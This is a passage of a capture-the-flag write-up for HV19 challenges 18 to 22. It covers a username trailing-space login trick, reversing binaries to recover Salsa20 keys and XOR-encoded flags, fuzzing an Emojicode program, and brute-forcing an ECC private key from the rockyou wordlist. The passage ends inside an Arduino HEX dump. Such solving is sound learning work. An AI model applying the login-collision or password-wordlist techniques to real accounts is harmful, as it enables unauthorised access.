Now we can login with the username
santa
and the password mySecretPwd
and access the admin page:
The unintended, yet working solution on the MySQL version in place, is basically the same but registering the user
'santa '
(with a trailing space).
The flag is HV19{h4v1ng_fun_w1th_un1c0d3}.
return to overview ⇧
HV19.18 - Dance with me
Author: hardlock | |
Santa had some fun and created todays present with a special dance. this is what he made up for you:
096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15Dance with him to recover the flag. HV19-dance.zip |
The provided zip archive contains a debian binary package:
root@kali:~/hv19/18# unzip 93d0df60-3579-4672-8efc-f32327d3643f.zip Archive: 93d0df60-3579-4672-8efc-f32327d3643f.zip inflating: dance root@kali:~/hv19/18# file dance dance: Debian binary package (format 2.0)
The package can be extracted using
ar
:
root@kali:~/hv19/18# ar -xv dance x - debian-binary x - control.tar.gz x - data.tar.lzma
The file
data.tar.lzma
contains the actual binary, which is a Mach-O binary
:
root@kali:~/hv19/18# tar -xvf data.tar.lzma . ./usr usr/bin usr/bin/dance root@kali:~/hv19/18# file usr/bin/dance usr/bin/dance: Mach-O universal binary with 3 architectures: [armv7:Mach-O armv7 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
The binary can be analyzed using
ghidra
:
Within the
main
function the user is prompted to enter the flag. The input entered is then passed along with some other parameters to a function called _dance
. Within this function _dance_block
is called, which in turn calls _dance_words
. At the end of the main
function the obviously encrypted input is printed in hex. Since the challenge description provides a hex value, this is probably the encrypted flag.
By googling for the value
0x79622d32
taken from within the function _dance_block
I found implementation of the Salsa20 algorithm, which uses this value as a constant. In combination with the name of the challenge and the name of the functions this makes perfect sense.
By default Salsa20 uses a 32 byte key and a 8 byte nonce. If the binary encrypts the input using this algorithm, we just need to get the key and nonce from it and decrypt the encrypted flag from the challenge's description.
Using PyCryptodome for python we can try to decrypt the flag using the key and nonce from the binary.
Finding the nonce was quite easy, since it is passed as the last argument to
_dance
:
The key can also be read from ghidra or by using
radare2
. The first 32 bytes within the __const
section are the key:
[0x0000bda2]> iS [Sections] Nm Paddr Size Vaddr Memsz Perms Name 00 0x0000ba40 1180 0x0000ba40 1180 -r-x 0.__TEXT.__text 01 0x0000bedc 96 0x0000bedc 96 -r-x 1.__TEXT.__picsymbolstub4 02 0x0000bf3c 108 0x0000bf3c 108 -r-x 2.__TEXT.__stub_helper 03 0x0000bfa8 64 0x0000bfa8 64 -r-x 3.__TEXT.__const 04 0x0000bfe8 23 0x0000bfe8 23 -r-x 4.__TEXT.__cstring 05 0x0000c000 12 0x0000c000 12 -rw- 5.__DATA.__nl_symbol_ptr 06 0x0000c00c 24 0x0000c00c 24 -rw- 6.__DATA.__la_symbol_ptr 07 0x0000c024 8 0x0000c024 8 -rw- 7.__DATA.__objc_imageinfo 08 0x0000c02c 4 0x0000c02c 4 -rw- 8.__DATA.__data [0x0000bda2]> px 100 @ 0x0000bfa8 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x0000bfa8 0320 6346 61b6 3caf aa76 c27e ea00 b59b . cFa.<..v.~.... 0x0000bfb8 fb2f 7097 214f d04c b257 ac29 04ef ee46 ./p.!O.L.W.)...F 0x0000bfc8 7973 0ff4 ec0c 406b fd91 c91f e704 00a8 ys....@k........ 0x0000bfd8 adf1 6c63 456a 5ef1 ed9d 7946 9da2 a0b5 ..lcEj^...yF.... 0x0000bfe8 496e 7075 7420 796f 7572 2066 6c61 673a Input your flag: 0x0000bff8 2000 2530 3258 0000 0000 0000 0000 0000 .%02X.......... 0x0000c008 0000 0000 .... [0x0000bda2]> pc 32 @ 0x0000bfa8 #define _BUFFER_SIZE 32 const uint8_t buffer[32] = { 0x03, 0x20, 0x63, 0x46, 0x61, 0xb6, 0x3c, 0xaf, 0xaa, 0x76, 0xc2, 0x7e, 0xea, 0x00, 0xb5, 0x9b, 0xfb, 0x2f, 0x70, 0x97, 0x21, 0x4f, 0xd0, 0x4c, 0xb2, 0x57, 0xac, 0x29, 0x04, 0xef, 0xee, 0x46 };
Using these values we can actually decrypt the flag with the following python script:
#!/usr/bin/env python from Crypto.Cipher import Salsa20 import struct n = struct.pack('<Q', 0xb132d0a8e78f4511) key = ''.join(chr(x) for x in [0x03, 0x20, 0x63, 0x46, 0x61, 0xb6, 0x3c, 0xaf, 0xaa, 0x76, 0xc2, 0x7e, 0xea, 0x00, 0xb5, 0x9b, 0xfb, 0x2f, 0x70, 0x97, 0x21, 0x4f, 0xd0, 0x4c, 0xb2, 0x57, 0xac, 0x29, 0x04, 0xef, 0xee, 0x46]) fl_encrypted = '096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15'.decode('hex') cipher = Salsa20.new(key=key,nonce=n) pt = cipher.encrypt(fl_encrypted) print(pt)
Running the script yields the flag:
root@kali:~/hv19/18# ./decryptFlag.py HV19{Danc1ng_Salsa_in_ass3mbly}
The flag is HV19{Danc1ng_Salsa_in_ass3mbly}.
return to overview ⇧
HV19.19 - 🎅
Author: M. | |
🏁🍇🎶🔤🐇🦁🍟🗞🍰📘🥖🖼🚩🥩😵⛺❗️🥐😀🍉🥞🏁👉️🧀🍎🍪🚀🙋🏔🍊😛🐔🚇🔷🎶📄🍦📩🍋💩⁉️🍄🥜🦖💣🎄🥨📺🥯📽🍖🐠📘👄🍔🍕🐖🌭🍷🦑🍴⛪🤧🌟🔓🔥🎁🧦🤬🚲🔔🕯🥶❤️💎📯🎙🎚🎛📻📱🔋😈🔌💻🐬🖨🖱🖲💾💿🧮🎥🎞🔎💡🔦🏮📔📖🏙😁💤👻🛴📙📚🥓📓🛩📜📰😂🍇🚕🔖🏷💰⛴💴💸🚁🥶💳😎🖍🚎🥳📝📁🗂🥴📅📇📈📉📊🔒⛄🌰🕷⏳📗🔨🛠🧲🐧🚑🧪🐋🧬🔬🔭📡🤪🚒💉💊🛏🛋🚽🚿🧴🧷🍩🧹🧺😺🧻🚚🧯😇🚬🗜👽🔗🧰🎿🛷🥌🎯🎱🎮🎰🎲🏎🥵🧩🎭🎨🧵🧶🎼🎤🥁🎬🏹🎓🍾💐🍞🔪💥🐉🚛🦕🔐🍗🤠🐳🧫🐟🖥🐡🌼🤢🌷🌍🌈✨🎍🌖🤯🐝🦠🦋🤮🌋🏥🏭🗽⛲💯🌁🌃🚌📕🚜🛁🛵🚦🚧⛵🛳💺🚠🛰🎆🤕💀🤓🤡👺🤖👌👎🧠👀😴🖤🔤 ❗️➡️ ㉓ 🆕🍯🐚🔢🍆🐸❗️➡️ 🖍🆕㊷ 🔂 ⌘ 🆕⏩⏩ 🐔🍨🍆❗️ 🐔㉓❗️❗️ 🍇 ⌘ ➡️🐽 ㊷ 🐽 ㉓ ⌘❗️❗️🍉 🎶🔤🍴🎙🦖📺🍉📘🍖📜🔔🌟🦑❤️💩🔋❤️🔔🍉📩🎞🏮🌟💾⛪📺🥯🥳🔤 ❗️➡️ 🅜 🎶🔤💐🐡🧰🎲🤓🚚🧩🤡🔤 ❗️➡️ 🅼 😀 🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️📇🔪 🆕 🔡 👂🏼❗️🐔🍨🍆❗️🐔🍨👎🍆❗️❗️❗️ ➡️ 🄼 ↪️🐔🄼❗️🙌 🐔🍨🍆❗️🍇🤯🐇💻🔤👎🔤❗️🍉 ☣️🍇🆕🧠🆕🐔🅜❗️❗️➡️ ✓🔂 ⌘ 🆕⏩⏩🐔🍨🍆❗️🐔🅜❗️❗️🍇🐽 ㊷ 🐽 🅜 ⌘❗️❗️ ➡️ ⌃🐽 🄼 ⌘ 🚮🐔🄼❗️❗️➡️ ^💧🍺⌃➖🐔㉓❗️➗🐔🍨👎👍🍆❗️❗️❌^❌💧⌘❗️➡️ ⎈ ↪️ ⌘ ◀ 🐔🅼❗️🤝❎🍺🐽 ㊷ 🐽 🅼 ⌘❗️❗️➖ 🤜🤜 🐔🅜❗️➕🐔🅜❗️➖🐔🄼❗️➖🐔🅼❗️➕🐔🍨👍🍆❗️🤛✖🐔🍨👎👎👎🍆❗️🤛 🙌 🔢⎈❗️❗️🍇 🤯🐇💻🔤👎🔤❗️🍉✍✓ ⎈ ⌘ 🐔🍨👎🍆❗️❗️🍉🔡🆕📇🧠✓ 🐔🅜❗️❗️❗️➡️ ⌘↪️⌘ 🙌 🤷♀️🍇🤯🐇💻🔤👎🔤❗️🍉😀🍺⌘❗️🍉 🍉 |
The challenge description only contains the above unicode smileys. At first it reminded me of the Space Invaders challenge from Hacky Easter 2018. Though there are much more smileys in this challenge. A bit of googling finally revealed that it is actually a program for Emojicode.
Prebuilt binaries of the Emojicode compiler can be downloaded here. After saving the smileys to a file called
day19.emojic
, we can compile it using emojicodec
:
root@kali:~/hv19/19/Emojicode-1.0-beta.1-Linux-x86_64# ./emojicodec ../day19.emojic ../day19.emojic:1:297: ⚠️ warning: Type is ambiguous without more context. ...
The compiler creates an ELF file called
day19
:
root@kali:~/hv19/19# file day19 day19: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7bf6c5daf4f8a5e185a8db0956a125262dce3132, for GNU/Linux 3.2.0, not stripped
When running the binary a few smileys are displayed and we are prompted to enter something. When for example entering
test
, we get a negative response (Program panicked
):
root@kali:~/hv19/19# ./day19 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 test 🤯 Program panicked: 👎 Aborted
My first approach was to reverse the binary created by the Emojicode compiler. Though this did not seem to promise any quick wins. Thus I started to have a look at the Emojicode itself. The documentation is quite patchy, which also didn't make this too easy.
At first let's indent the code. The Emojicode compiler is capable of formating a program by using the option
--format
:
root@kali:~/hv19/19/Emojicode-1.0-beta.1-Linux-x86_64# ./emojicodec --format ../day19.emojic ... root@kali:~/hv19/19/Emojicode-1.0-beta.1-Linux-x86_64# cat ../day19.emojic 🏁 🍇 🎶🔤🐇🦁🍟🗞🍰📘🥖🖼🚩🥩😵⛺❗️🥐😀🍉🥞🏁👉️🧀🍎🍪🚀🙋🏔🍊😛🐔🚇🔷🎶📄🍦📩🍋💩⁉️🍄🥜🦖💣🎄🥨📺🥯📽🍖🐠📘👄🍔🍕🐖🌭🍷🦑🍴⛪🤧🌟🔓🔥🎁🧦🤬🚲🔔🕯🥶❤️💎📯🎙🎚🎛📻📱🔋😈🔌💻🐬🖨🖱🖲💾💿🧮🎥🎞🔎💡🔦🏮📔📖🏙😁💤👻🛴📙📚🥓📓🛩📜📰😂🍇🚕🔖🏷💰⛴💴💸🚁🥶💳😎🖍🚎🥳📝📁🗂🥴📅📇📈📉📊🔒⛄🌰🕷⏳📗🔨🛠🧲🐧🚑🧪🐋🧬🔬🔭📡🤪🚒💉💊🛏🛋🚽🚿🧴🧷🍩🧹🧺😺🧻🚚🧯😇🚬🗜👽🔗🧰🎿🛷🥌🎯🎱🎮🎰🎲🏎🥵🧩🎭🎨🧵🧶🎼🎤🥁🎬🏹🎓🍾💐🍞🔪💥🐉🚛🦕🔐🍗🤠🐳🧫🐟🖥🐡🌼🤢🌷🌍🌈✨🎍🌖🤯🐝🦠🦋🤮🌋🏥🏭🗽⛲💯🌁🌃🚌📕🚜🛁🛵🚦🚧⛵🛳💺🚠🛰🎆🤕💀🤓🤡👺🤖👌👎🧠👀😴🖤🔤❗️ ➡️ ㉓ 🆕🍯🐚🔢🍆🐸❗️➡️ 🖍🆕 ㊷ 🔂 ⌘ 🆕⏩⏩ 🐔🍨 🍆❗️🐔㉓❗️❗️ 🍇 ⌘ ➡️ 🐽㊷ 🐽㉓ ⌘❗️❗️ 🍉 🎶🔤🍴🎙🦖📺🍉📘🍖📜🔔🌟🦑❤️💩🔋❤️🔔🍉📩🎞🏮🌟💾⛪📺🥯🥳🔤❗️ ➡️ 🅜 🎶🔤💐🐡🧰🎲🤓🚚🧩🤡🔤❗️ ➡️ 🅼 😀🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️ 📇🔪🆕🔡👂🏼❗️ 🐔🍨 🍆❗️🐔🍨 👎 🍆❗️❗️❗️ ➡️ 🄼 ↪️ 🐔🄼❗️ 🙌 🐔🍨 🍆❗️ 🍇 🤯🐇💻 🔤👎🔤❗️ 🍉 ☣️ 🍇 🆕🧠🆕 🐔🅜❗️❗️ ➡️ ✓ 🔂 ⌘ 🆕⏩⏩ 🐔🍨 🍆❗️🐔🅜❗️❗️ 🍇 🐽㊷ 🐽🅜 ⌘❗️❗️ ➡️ ⌃ 🐽🄼 ⌘ 🚮 🐔🄼❗️❗️ ➡️ ^ 💧 🍺⌃ ➖ 🐔㉓❗️ ➗ 🐔🍨 👎 👍 🍆❗️❗️ ❌ ^ ❌ 💧⌘❗️ ➡️ ⎈ ↪️ ⌘ ◀ 🐔🅼❗️ 🤝 ❎ 🍺🐽㊷ 🐽🅼 ⌘❗️❗️ ➖ 🤜🐔🅜❗️ ➕ 🐔🅜❗️ ➖ 🐔🄼❗️ ➖ 🐔🅼❗️ ➕ 🐔🍨 👍 🍆❗️🤛 ✖ 🐔🍨 👎 👎 👎 🍆❗️ 🙌 🔢⎈❗️❗️ 🍇 🤯🐇💻 🔤👎🔤❗️ 🍉 ✍✓ ⎈⌘🐔🍨 👎 🍆❗️❗️ 🍉 🔡🆕📇🧠 ✓🐔🅜❗️❗️❗️ ➡️ ⌘ ↪️ ⌘ 🙌 🤷♀️ 🍇 🤯🐇💻 🔤👎🔤❗️ 🍉 😀 🍺⌘❗️ 🍉 🍉
The indented code can be read more easily. The following line seems to output the smileys, which we see when running the binary:
😀🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️
Also there are multiple occurrences of the sequence, which seems to trigger the negative response (
Program panicked
):
🤯🐇💻 🔤👎🔤❗️
By adding an output (in this case a chicken) before the panic sequence, we can determine which one is actually triggered:
😀🔤 🐔 🔤❗️ 🤯🐇💻 🔤👎🔤❗️
In order to quickly run the adjusted program, we can use tio.run. The indented code raises an error when trying to run it, but the adjustment can be done in the original code:
As we can see the output contains the chicken we added before the first panic sequence. This means that this is the one, which caused the program to terminate.
When providing an input to the program, which can be done by simply entering it beneath the
Input
section, the chicken is not displayed anymore:
This means we passed the first panic sequence. Obviously this part of the code checked if there is any input at all.
Now let's move the chicken to the second panic sequence in order to determine if this is the one, which terminates the program now:
Now we can see that the chicken is displayed again. This means we hit the second panic sequence.
When reviewing the indented code again, we can see that this second panic sequence is nested in a loop (🔂):
... 🔂 ⌘ 🆕⏩⏩ 🐔🍨 🍆❗️🐔🅜❗️❗️ 🍇 🐽㊷ 🐽🅜 ⌘❗️❗️ ➡️ ⌃ 🐽🄼 ⌘ 🚮 🐔🄼❗️❗️ ➡️ ^ 💧 🍺⌃ ➖ 🐔㉓❗️ ➗ 🐔🍨 👎 👍 🍆❗️❗️ ❌ ^ ❌ 💧⌘❗️ ➡️ ⎈ ↪️ ⌘ ◀ 🐔🅼❗️ 🤝 ❎ 🍺🐽㊷ 🐽🅼 ⌘❗️❗️ ➖ 🤜🐔🅜❗️ ➕ 🐔🅜❗️ ➖ 🐔🄼❗️ ➖ 🐔🅼❗️ ➕ 🐔🍨 👍 🍆❗️🤛 ✖ 🐔🍨 👎 👎 👎 🍆❗️ 🙌 🔢⎈❗️❗️ 🍇 🤯🐇💻 🔤👎🔤❗️ 🍉 ...
We can assume that this loop iterates over our input. In order to determine how often the loop iterates, let's move the output to the beginning of the loop body:
My hope was that the program is gradually checking the input within the loop, so that we can fuzz it byte by byte. If the beginning of our input matches, the loop should not terminate (panic sequence) and make another iteration. We could recognize this by the amount of chickens display before the termination. Unfortunately the first fuzzing attempts (fuzzing 1 and 2 bytes) did not even lead to a second loop iteration. Thus I tried to enter an unicode smiley as the input:
Now the loop actually did three iterations! Seems we are on the right way. So let's fuzz the program with unicode:
#!/usr/bin/env python from pwn import * context.log_level = 21 # disable log utf32 = 0x0001f000 while True: u = unichr(utf32).encode('utf-8') io = process('./loop_fuzz') io.sendline(u) r = io.recv(1000) print(str(len(r.split('\n'))) + ' ('+u.encode('hex')+')') io.close() utf32 += 1
The script starts at utf-32
0x0001f000
, inputs the unicode character as utf-8 to the program using pwntools and displays the amount of lines printed by the program. This way we can determine, which unicode character produces the highest amount of loop iterations:
root@kali:~/hv19/19# ./fuzz_unicode.py | tee fuzz_out.txt 6 (f09f8080) 6 (f09f8081) 6 (f09f8082) 6 (f09f8083) 6 (f09f8084) 6 (f09f8085) 6 (f09f8086) 6 (f09f8087) ...
One unicode character produces an output of 29 lines:
root@kali:~/hv19/19# cat fuzz_out.txt | sort -rn | head 29 (f09f9491) 7 (f09f94bf) 7 (f09f94be) 7 (f09f94bd) 7 (f09f94bc) 7 (f09f94bb) 7 (f09f94ba) 7 (f09f94b9) 7 (f09f94b8) 7 (f09f94b7)
Wonder what this unicode character is?
root@kali:~/hv19/19# python -c 'print("f09f9491".decode("hex"))' 🔑
Well. This makes sense. Let's see the full output of the program entering the key:
root@kali:~/hv19/19# ./day19 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔑 HV19{*<|:-)____\o/____;-D}
In retrospect we could have guessed this. But this way it was quite more fun š
The flag is HV19{*<|:-)____\o/____;-D}.
return to overview ⇧
HV19.20 - i want to play a game
Author: hardlock | |
Santa was spying you on Discord and saw that you want something weird and obscure to reverse?
your wish is my command. HV19-game.zip |
The provided zip archive contains an
amd64 COFF
binary:
root@kali:~/hv19/20# unzip e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip Archive: e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip inflating: game root@kali:~/hv19/20# file game game: Intel amd64 COFF object file, no line number info, not stripped, 26 sections, symbol offset=0xb50, 99 symbols
Before analyzing the binary, it's usually worth running
strings
on the file:
root@kali:~/hv19/20# strings game .text P`.data .bss .rdata P@/4 ... sendflag D$'H D$BH [A\A]A^A_] *+^{9 libkernel.sprx sceKernelGetIdPs sceKernelGetOpenPsIdForSystem /mnt/usb0/PS4UPDATE.PUP %02x f86d4f9d2c049547bd61f942151ffb55 GCC: (GNU) 7.4.0 ...
There are a few interesting strings.
sendflag
seems juicy for obvious reasons. The string /mnt/usb0/PS4UPDATE.PUP
in combination with the architecture of the binary reassures that this is a PlayStation 4 binary. The string f86d4f9d2c049547bd61f942151ffb55
seems to be a MD5 hash. When googling the value we can find this page, which provides a PS4 firmware (505Retail.PUP
). The MD5 hash of the firmware image is exactly f86d4f9d2c049547bd61f942151ffb55
.
With this background knowledge, let's have a look at the binary using
ghidra
. There is only a single function called _main
:
At the beginning of the function a few initialization functions are called. After this a file is opened in order to calculate the MD5 hash using the functions
MD5Init
, MD5Update
and MD5Final
. The reference to the filename being opened seems to be not correctly decompiled by ghidra. Though we have already seen the filename /mnt/usb0/PS4UPDATE.PUP
within the binary. After calculating the MD5 hash, the hash is stored in a string using sprintf
. This string is then compared to a static string using strcmp
. Again we notice that the reference doesn't seem to be correct, though we can make the quite obvious assumption, that the hash is compared to the MD5 hash we already found: f86d4f9d2c049547bd61f942151ffb55
. Only if the MD5 hash of the file matches this hash, the execution continues. This means that the file in question is actually the PS4 firmware we found previously (505Retail.PUP
). Let's further inspect the decompilation:
If the hash matches,
0x1a
bytes are copied from a static location to a stack buffer. By inspecting the .rdata_3
section of the binary using radare2
, we can see the already referenced values (filename, format string and MD5 hash) and additional 0x1a bytes at the beginning of the section. These are obviously the bytes, which are copied to the stack buffer:
[0x00000439]> iS [Sections] Nm Paddr Size Vaddr Memsz Perms Name 00 0x00000424 752 0x00000424 752 -r-x .text_0 01 0x00000000 0 0x00000000 0 -rw- .data_1 02 0x00000000 0 0x00000000 0 -rw- .bss_2 03 0x00000714 176 0x00000714 176 -r-- .rdata_3 ... [0x00000439]> px 300 @ 0x00000714 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00000714 ce55 954e 38c5 89a5 1b6f 5e25 d21d 2a2b .U.N8....o^%..*+ 0x00000724 5e7b 3914 8ed0 f0f8 f8a5 006c 6962 6b65 ^{9........libke 0x00000734 726e 656c 2e73 7072 7800 7363 654b 6572 rnel.sprx.sceKer 0x00000744 6e65 6c47 6574 4964 5073 0073 6365 4b65 nelGetIdPs.sceKe 0x00000754 726e 656c 4765 744f 7065 6e50 7349 6446 rnelGetOpenPsIdF 0x00000764 6f72 5379 7374 656d 0072 6200 2f6d 6e74 orSystem.rb./mnt 0x00000774 2f75 7362 302f 5053 3455 5044 4154 452e /usb0/PS4UPDATE. 0x00000784 5055 5000 2530 3278 0000 0000 0000 0000 PUP.%02x........ 0x00000794 6638 3664 3466 3964 3263 3034 3935 3437 f86d4f9d2c049547 0x000007a4 6264 3631 6639 3432 3135 3166 6662 3535 bd61f942151ffb55 0x000007b4 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x000007c4 4743 433a 2028 474e 5529 2037 2e34 2e30 GCC: (GNU) 7.4.0 0x000007d4 0000 0000 0000 0000 0000 0000 0000 0000 ................ ...
Further following the decompiled output in ghidra we can see a variable (
lVar8
) is initialized with the value 0x1337
and the same file as before is opened. After this a loop is entered, which sets the file position indicator to the value of lVar8
using fseek
and reads 0x1a bytes at this position. After this another loop is entered, which iterates over the 0x1a bytes of the stack buffer XORing every byte with the next byte read from the file. At the end of the outer loop, the value of lVar8
is increased by 0x1337
. The outer loop terminates if the value reaches 0x1714908
. After this the stack buffer seems to be send over the network. Since we have enough information at this point, let's recreate the steps carried out by the code in python:
#!/usr/bin/env python # read file content file_content = open('505Retail.PUP').read() # 0x1a bytes from .rdata_3 flag = list('ce55954e38c589a51b6f5e25d21d2a2b5e7b39148ed0f0f8f8a5'.decode('hex')) lVar8 = 0x1337 while (lVar8 != 0x1714908): for lVar9 in range(0x1a): flag[lVar9] = chr(ord(flag[lVar9]) ^ ord(file_content[lVar8+lVar9])) lVar8 += 0x1337 flag = ''.join(flag) print(flag)
Running the script prints the flag:
root@kali:~/hv19/20# ./rev.py HV19{C0nsole_H0mebr3w_FTW}
The flag is HV19{C0nsole_H0mebr3w_FTW}.
return to overview ⇧
HV19.21 - Happy Christmas 256
Author: hardlock | |
Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.
This is his public key: X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072fTo make sure this is safe, he used the NIST P-256 standard. But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:
Phew - Santa seems to know his business - or can you still recover this flag? Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0= |
We can follow the description line by line to recover the flag.
The first information we get is the following:
- NIST P-256
- X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
- Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
d
) yet:
from Crypto.PublicKey import ECC x = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f y = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c d = ??? ECC.construct(curve='NIST P-256',point_x=x,point_y=y,d=d)
The next information we get regards the unknown private key (
d
):
- Santa used a password and SHA256 for the private key (d)
- His password was leaked 10 years ago
- The password is length is the square root of 256
rockyou.txt
. This is narrowed down by stating that the length of the password is the square root of 256 = 16. This password has been hashed using SHA256
, which was then used as the private key d
:
wl = '/usr/share/wordlists/rockyou.txt' words = open(wl).read().split('\n') for word in words: if (len(word) != 16): continue m_sha256 = hashlib.sha256() m_sha256.update(word) d = int(m_sha256.hexdigest(), 16)
At this point we already have enough information to recover the password. Surely there are a lot of passwords with the length 16 in the
rockyou.txt
, but the construction of the ECC key will only succeed if the public key (x
and y
) matches the private key (d
). This means if the ECC key can be constructed successfully, we got the correct private key / password.
The last information the description contains is the following:
- The flag is encrypted with AES256
- The key for AES is derived with pbkdf2_hmac, salt: "TwoHundredFiftySix", iterations: 256*256*256
- Encryted flag: Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=
pbkdf2_hmac
with the above mentioned settings. The result is an AES key, which can be used to decrypt the flag:
aes_key = hashlib.pbkdf2_hmac('sha256', word, 'TwoHundredFiftySix', 256*256*256) cipher = AES.new(aes_key, AES.MODE_ECB) flag = cipher.decrypt(flag_encr)
Summing this all up in a full script:
#!/usr/bin/env python from Crypto.PublicKey import ECC from Crypto.Cipher import AES import hashlib wl = '/usr/share/wordlists/rockyou.txt' words = open(wl).read().split('\n') flag_encr = 'Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0='.decode('base64') x = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f y = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c for word in words: if (len(word) != 16): continue try: m_sha256 = hashlib.sha256() m_sha256.update(word) d = int(m_sha256.hexdigest(), 16) ECC.construct(curve='NIST P-256',point_x=x,point_y=y,d=d) except: continue print('got password: ' + word) print('calculating AES key ...') aes_key = hashlib.pbkdf2_hmac('sha256', word, 'TwoHundredFiftySix', 256*256*256) print('AES key: ' + aes_key.encode('hex')) cipher = AES.new(aes_key, AES.MODE_ECB) flag = cipher.decrypt(flag_encr) print(flag) quit()
Running it yields the flag:
root@kali:~/hv19/21# ./craxxor.py got password: santacomesatxmas calculating AES key ... AES key: eb1e0442ca6566e5d687740d246caea6db3b2851f774140d153c848d59515705 HV19{sry_n0_crypt0mat_th1s_year}
The flag is HV19{sry_n0_crypt0mat_th1s_year}.
return to overview ⇧
HV19.22 - The command ... is lost
Author: inik | |
Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR. Unfortunately Santa lost the source code for it and doesn't remember the command needed to send to the sledge. The only thing left is this file: thecommand7.data
Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it's on you to help out Santa. |
The provided file is an Intel HEX file for an arduino:
root@kali:~/hv19/22# cat f.txt :100000000C9435000C945D000C945D000C945D0024 :100010000C945D000C945D000C945D000C945D00EC :100020000C945D000C945D000C945D000C945D00DC :100030000C945D000C945D000C945D000C945D00CC :100040000C94EA010C945D000C945A020C94340256 :100050000C945D000C945D000C945D000C945D00AC :100060000C945D000C945D00A60311241FBECFEF1D :10007000D8E0DEBFCDBF11E0A0E0B1E0EEE9F8E0EE :1000800002C005900D92A835B107D9F721E0A8E587 :10009000B1E001C01D92AE3FB207E1F710E0C5E349 :1000A000D0E004C02197FE010E944704C433D10769 :1000B000C9F70E94D3030C944D040C9400000F93D5 :1000C0001F93CF93DF93EC01E881F9810190F081D8 :1000D000E02D09958C01E881F9810280F381E02D02 :1000E00042E050E065E571E0CE010995800F911F77 :1000F000DF91CF911F910F910895AF92BF92CF9250 :10010000DF92EF92FF920F931F93CF93DF936C01D7 :100110007B018B01040F151FEB015E01AE18BF08B8 :10012000C017D10759F06991D601ED91FC9101906A :10013000F081E02DC6010995892B79F7C501DF9182 :10014000CF911F910F91FF90EF90DF90CF90BF90D4 :10015000AF900895FC01538D448D252F30E0842FFE :1001600090E0821B930B541710F0CF9608950197DF :100170000895FC01918D828D981761F0A28DAE0FCC :10018000BF2FB11D5D968C91928D9F5F9F73928F53 :1001900090E008958FEF9FEF0895FC01918D828D7F :1001A000981731F0828DE80FF11D858D90E008954C :1001B0008FEF9FEF0895FC01918D228D892F90E0A4 :1001C000805C9F4F821B91098F739927089588E562 :1001D00091E00E94DB0021E0892B09F420E0822FCE :1001E000089580E090E0892B29F00E94E7008111BA :1001F0000C9400000895FC01A48DA80FB92FB11D27 :10020000A35ABF4F2C91848D90E001968F7399274C :10021000848FA689B7892C93A089B1898C9183702A :1002200080648C93938D848D981306C00288F38923 :10023000E02D80818F7D80830895EF92FF920F9350 :100240001F93CF93DF93EC0181E0888F9B8D8C8D82 :1002500098131AC0E889F989808185FF15C09FB776 :10026000F894EE89FF896083E889F9898081837039 :10027000806480839FBF81E090E0DF91CF911F91E8 :100280000F91FF90EF900895F62E0B8D10E00F5F09 :100290001F4F0F731127E02E8C8D8E110CC00FB6DF :1002A00007FCFACFE889F989808185FFF5CFCE0177 :1002B0000E94FB00F1CFEB8DEC0FFD2FF11DE35AF7 :1002C000FF4FF0829FB7F8940B8FEA89FB898081FA :1002D0008062CFCFCF93DF93EC01888D8823B9F074 :1002E000AA89BB89E889F9898C9185FD03C0808141 :1002F00086FD0DC00FB607FCF7CF8C9185FFF2CFBE :10030000808185FFEDCFCE010E94FB00E9CFDF9118 :10031000CF910895CF92DF92EF92FF92CF93DF9328 :10032000EC016A017B01E889F98982E08083C114CC :1003300081EED806E104F104A1F060E079E08DE3FC :1003400090E0A70196010E9425042150310941093E :1003500051095695479537952795211580E138071E :1003600098F0E889F989108260E874E88EE190E0FD :10037000A70196010E942504215031094109510924 :100380005695479537952795EC85FD853083EE8505 :10039000FF852083188EEC89FD8986E08083EA89B9 :1003A000FB89808180618083EA89FB898081886004 :1003B0008083EA89FB89808180688083EA89FB8960 :1003C00080818F7D8083DF91CF91FF90EF90DF90D0 :1003D000CF9008951F920F920FB60F9211242F9372 :1003E0003F938F939F93AF93BF938091FA01909126 :1003F000FB01A091FC01B091FD013091F90123E0D6 :10040000230F2D3758F50196A11DB11D2093F90139 :100410008093FA019093FB01A093FC01B093FD013E :100420008091F5019091F601A091F701B091F8014A :100430000196A11DB11D8093F5019093F601A09343 :10044000F701B093F801BF91AF919F918F913F91C8 :100450002F910F900FBE0F901F90189526E8230F35 :100460000296A11DB11DD2CF1F920F920FB60F920F 